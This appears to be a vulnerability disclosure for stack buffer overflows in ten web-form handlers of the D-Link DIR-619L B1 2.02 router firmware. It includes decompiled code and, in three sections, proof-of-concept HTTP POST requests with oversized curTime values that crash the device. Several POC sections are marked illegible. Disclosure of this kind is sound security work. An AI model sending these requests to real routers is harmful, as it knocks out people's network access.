

DIR-619L Buffer Overflow

Vulnerability description

D-Link DIR-619L B1 2.02 was found to contain a stack overflow in multiple functions. This vulnerability allows attackers to trigger a denial of service (DoS) through web page parameters.



1.formSetLog Function

Vulnerability analysis

The websGetVar function obtains the curtime parameter from the front-end and stores the data on the stack through the sprintf function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

1 int __fastcall formSetLog(_DWORD *a1)
2 {
3     _BYTE *v2; // $a0
4     int v3; // $s0
5     int result; // $v0
6     BOOL v5; // $v1
7     const char *v6; // $v0
8     char v7[104]; // [sp+18h] [-68h] BYREF
9
10    v2 = (_BYTE *)websGetVar(a1, (int)"action", (int)&dword_4A6D34);
11    if ( *v2 )
12    {
13        v3 = 0;
14        if ( !strcmp(v2, "clear") )
15        {
16            do
17            {
18                result = open("/tmp/log_web.lck", 1281);
19                v5 = v3++ < 9;
20                if ( result >= 0 )
21                    break;
22                if ( !v5 )
23                    return result;
24                sleep(1);
25            }
26            while ( v3 < 10 );
27            remove("/tmp/log_web");
28            remove("/tmp/auto_smtp_mail");
29            remove("/tmp/smtp_mail");
30            unlink("/tmp/log_web.lck");
31        }
32    }
33    sleep(1);
34    system("exlog /tmp/log_web.lck /tmp/log_web \"tag:SYSACT;log_num:13;msg:Log");
35    v6 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_4A6D34);
36    sprintf(v7, "/Status/Logs.asp?t=%s", v6);
37    return websRedirect(a1, v7);
38 }

```

POC

[illegible]

2.formTcpipSetup Function

Vulnerability analysis

The `websGetVar` function obtains the `curtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

int v45; // $a0
DWORD v47[26]; // [sp+18h] [-1D0h] BYREF
int v48[50]; // [sp+80h] [-168h] BYREF
int v49[8]; // [sp+148h] [-A0h] BYREF
char v50; // [sp+168h] [-80h] BYREF
int v51[12]; // [sp+178h] [-70h] BYREF
char v52[24]; // [sp+1A8h] [-40h] BYREF
int v53; // [sp+1C0h] [-28h] BYREF
char v54[4]; // [sp+1C4h] [-24h] BYREF
char v55[4]; // [sp+1C8h] [-20h] BYREF
char v56[4]; // [sp+1CCh] [-1Ch] BYREF
BOOL v57; // [sp+1D0h] [-18h] BYREF
int v58; // [sp+1D4h] [-14h] BYREF
int v59; // [sp+1D8h] [-10h] BYREF
int v60; // [sp+1DCh] [-Ch] BYREF
const char *v61; // [sp+1E0h] [-8h]

v57 = 0;
v61 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_4A3F74);
websGetVar(a1, (int)"isOpChanged", (int)&dword_4A3F74);
websGetVar(a1, (int)"isMidChanged", (int)&dword_4A3F74);
v2 = 0;
websGetVar(a1, (int)"settingsChanged", (int)&dword_4A3F74);
apmib_get(192, &v53);
if ( v53 == 1 )
{
    apmib_get(172, v48);
    apmib_get(176, v48);
    apmib_get(177, v48);
}
v3 = (_BYTE *)websGetVar(a1, (int)"opModeSelect", (int)&dword_4A3F74);
if ( *v3 )
    v2 = strcmp(v3, "Enabled") != 0;
if ( v2 )
{
    v4 = (_BYTE *)websGetVar(a1, (int)"config.lan_gateway", (int)&dword_4A3F74);
    if ( *v4 )
    {
        if ( !inet_aton(v4, v54) )
        {
            strcpy((char *)v47, "\"Invalid gateway value!\"");
LABEL_48:
            strcpy(&err_msg, v47);
            sprintf(v48, "/Basic/Network.asp?t=%s", v61);

```

POC

Request

Pretty

Raw

Hex



\n



```
1 POST /goform/formTcpipSetup HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 368
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.0.1
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45
  Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/
  avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch
  ange;v=b3;q=0.9
10 Referer: http://192.168.0.1/index.asp?t=1692254669310
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 curTime=
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

3.formAutoDetecWAN_wizard4 Function

Vulnerability analysis

The websGetVar function obtains the curtime parameter from the front-end and stores the data on the stack through the sprintf function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

19 | _BYTE v18[16]; // [sp+0h] [-3A0h] BYREF
20 | char v19[200]; // [sp+38h] [-368h] BYREF
21 | char v20[32]; // [sp+100h] [-2A0h] BYREF
22 | char v21[32]; // [sp+120h] [-280h] BYREF
23 | char v22[104]; // [sp+140h] [-260h] BYREF
24 | char v23[256]; // [sp+1A8h] [-1F8h] BYREF
25 | char v24[32]; // [sp+2A8h] [-F8h] BYREF
26 | char v25[64]; // [sp+2C8h] [-D8h]
27 | char v26[32]; // [sp+308h] [-98h] BYREF
28 | char v27[32]; // [sp+328h] [-78h] BYREF
29 | char v28[32]; // [sp+348h] [-58h] BYREF
30 | int v29; // [sp+368h] [-38h] BYREF
31 | int v30; // [sp+36Ch] [-34h] BYREF
32 | int v31; // [sp+370h] [-30h] BYREF
33 | int v32; // [sp+374h] [-2Ch] BYREF
34 | char v33; // [sp+378h] [-28h] BYREF
35 | char v34; // [sp+37Ch] [-24h] BYREF
36 | int v35; // [sp+380h] [-20h] BYREF
37 | int v36; // [sp+384h] [-1Ch] BYREF
38 | char v37; // [sp+388h] [-18h] BYREF
39 | char v38; // [sp+38Ch] [-14h] BYREF
40 | char v39; // [sp+390h] [-10h] BYREF
41 | int v40; // [sp+394h] [-Ch] BYREF
42 | int v41; // [sp+398h] [-8h] BYREF
43 | int v42; // [sp+39Ch] [-4h] BYREF
44 |
45 | v29 = -1;
46 | v42 = 0;
47 | v1 = websGetVar(a1, "curTime", &dword_4A3F74);
48 | v2 = 0;

```

```

switch ( v16 )
{
    case 8:
        sprintf(v19, "/Basic/Wizard_Tp_WanDetect_Fail.asp?t=%s", v1);
        break;
    case 1:
        sprintf(v19, "/Basic/Wizard_WAN_dhcp.asp?t=%s", v1);
        break;
    case 2:
        sprintf(v19, "/Basic/Wizard_WAN_pppoe.asp?t=%s", v1);
        break;
    case 0:
        sprintf(v19, "/Basic/Wizard_WAN_Static.asp?t=%s", v1);
        break;
}

```

POC

Request

[illegible]

4.formEasySetPassword Function

Vulnerability analysis

The `websGetVar` function obtains the `curtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

10 char v10[128]; // [sp+18h] [-110h] BYREF
11 char v11[104]; // [sp+98h] [-90h] BYREF
12 char v12[24]; // [sp+100h] [-28h] BYREF
13 int v13; // [sp+118h] [-10h] BYREF
14 int v14; // [sp+11Ch] [-Ch] BYREF
15 int v15; // [sp+120h] [-8h] BYREF
16 int v16; // [sp+124h] [-4h] BYREF
17
18 v14 = 0;
19 v13 = 0;
20 v2 = (const char *)websGetVar(a1, "curTime", &dword_4A3F74);
21 v3 = websGetVar(a1, "language", &dword_4A3F74);
22 v4 = (char *)websGetVar(a1, "config.password", &dword_4A3F74);
23 memset(v11, 0, 100);

```

Request

```
Pretty Raw Hex ↵ \n ≡
1 POST /goform/formEasySetPassword HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 488
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.0.1
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45
  Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/
  avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch
  ange;v=b3;q=0.9
10 Referer: http://192.168.0.1/index.asp
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 curTime=
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

5.formEasySetTimezone Function

Vulnerability analysis

The websGetVar function obtains the curtime parameter from the front-end and stores the data on the stack through the sprintf function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.


```

19  v15 = 0;
20  v16 = 1;
21  v13 = 0;
22  v2 = (const char *)websGetVar(a1, "curTime", &dword_4A3F74);
23  apmib_get(708, &v15);
24  if ( !v13 )
25  {
26      v13 = 1;
27      apmib_set(708, &v13);
28      v14 = 3;
29      apmib_set(281, &v14);
30  }
31  v3 = websGetVar(a1, "select_timezone", &dword_4A3F74);
32  apmib_set(153, v3);
33  v4 = websGetVar(a1, "config.tz_timezone_index", &dword_4A3F74);
34  v15 = atoi(v4);
35  apmib_set(160, &v15);
36  v5 = (_BYTE *)websGetVar(a1, "config.tz_daylight", &dword_4A3F74);
37  v15 = !*v5 || strcmp(v5, "false");
38  apmib_set(282, &v15);
39  apmib_set(151, &v16);
40  v6 = websGetVar(a1, "config_ntpSrv", &dword_4A3F74);
41  apmib_set(154, v6);
42  system("echo 4 > /proc/gpio");
43  v7 = apmib_update(4);
44  system("echo 5 > /proc/gpio");
45  if ( v7 )
46  {
47      save_cs_to_file();
48      v8 = fopen("/var/run/hnap.pid", &dword_4A3B30);
49      v9 = v8;
50      if ( v8 )
51      {
52          fgets(v12, 20, v8);
53          if ( sscanf(v12, "%d", &v17) && v17 >= 2 )
54              kill(v17, 17);
55          fclose(v9);
56      }
57  }
58  sprintf(last_url, "/Basic/Wizard_Easy_ToComplete.asp?t=%s", v2);
59  strcpy(v11, "/apply_setting_easy.asp");

```

POC

Request

[illegible]

6.formSetWANType_Wizard5 Function

Vulnerability analysis

The `websGetVar` function obtains the `curtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```
if ( *v2 && atoi(v2) )
    *(_BYTE *) (pWizMib + 1123) = 1;
v3 = websGetVar(a1, "curTime", &dword_4A3F74);
v4 = websGetVar(a1, "wan_ip_mode_radio", &dword_4A3F74);

*(_BYTE *) (pWizMib + 17) = 1;
sprintf(v11, "/Basic/Wizard_WAN_Static.asp?t=%s", v3);
return websRedirect(a1, (int)v11);
}
```

POC

Request

[illegible]

7.formEasySetupWWConfig Function

Vulnerability analysis

The `websGetVar` function obtains the `curtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

    apmb_set(22, &v107);
    v2 = (const char *)websGetVar(a1, "curTime", &dword_4A3F74);
    v3 = websGetVar(a1, "config.wan_type", &dword_4A3F74);

    sprintf(v104, "/Basic/Wizard_Easy_SetPassword.asp?t=%s&mode=%d", v2, v4);
    v101 = a1;
    v102 = v104;
    return websRedirect(v101, (int)v102);
}

```

POC

Request

```
Pretty Raw Hex ↕ \n ≡
1 POST /goform/formEasySetupWWConfig HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 608
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.0.1
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45
  Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/
  avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch
  ange;v=b3;q=0.9
10 Referer: http://192.168.0.1/index.asp
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 curTime=
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

8.formSetWanNonLogin Function

Vulnerability analysis

The websGetVar function obtains the curtime parameter from the front-end and stores the data on the stack through the sprintf function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```
char v54[200]; // [sp+80h] [-100h] BYREF
char v55[24]; // [sp+148h] [-38h] BYREF
int v56; // [sp+160h] [-20h] BYREF
int v57; // [sp+164h] [-1Ch] BYREF
int v58; // [sp+168h] [-18h] BYREF
BOOL v59; // [sp+16Ch] [-14h] BYREF
char v60[4]; // [sp+170h] [-10h] BYREF
char v61[4]; // [sp+174h] [-Ch] BYREF
char v62[4]; // [sp+178h] [-8h] BYREF
int v63; // [sp+17Ch] [-4h] BYREF

v57 = 0;
v58 = 0;
v59 = 0;
v2 = (const char *)websGetVar(a1, "curTime", &dword_4A3F74);
v3 = (_BYTE *)websGetVar(a1, "settingsChanged", &dword_4A3F74);
```

```
strcpy(&ok_msg, "Setting saved.");
sprintf(v54, "%s?t=%s", &last_url, v2);
v50 = a1;
v51 = v54;
return websRedirect(v50, v51);
}
```

POC

Request

[illegible]

9.formSetWAN Wizard51 Function

Vulnerability analysis

The `websGetVar` function obtains the `curtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```

16 |     *(_BYTE *)(pwizMib + 1123) = 1;
17 |     v3 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_4A3F74);
18 |     if ( *(_BYTE *)(pwizMib + 90) == 9 )
    |
    |         if ( setWANMAC(a1, 1) )
    |         {
    |             sprintf(v12, "/Basic/Wizard_WAN_complete.asp?t=%s", v3);
    |             v8 = (int)a1;
    |             v9 = v12;

```

POC

Request

[illegible]

10.formSetWAN_Wizard52 Function

Vulnerability analysis

The `websGetVar` function obtains the `currtime` parameter from the front-end and stores the data on the stack through the `sprintf` function. However, due to the lack of data length restrictions, a buffer overflow vulnerability is created.

```


37 | *(_BYTE *) (pWizMib + 1123) = 1;
38 | v3 = (const char *) websGetVar(a1, (int) "curTime", (int) &dword_4A3F74);
39 | *(_BYTE *) (pWizMib + 90) = 0;

117 | sprintf(v30, "/Basic/Wizard_WAN_complete.asp?t=%s", v3);
118 | v26 = (int) a1;
119 | v27 = v30;
120 | return websRedirect(v26, (int) v27);

```

POC

Request

Pretty Raw Hex  \n ≡

[illegible]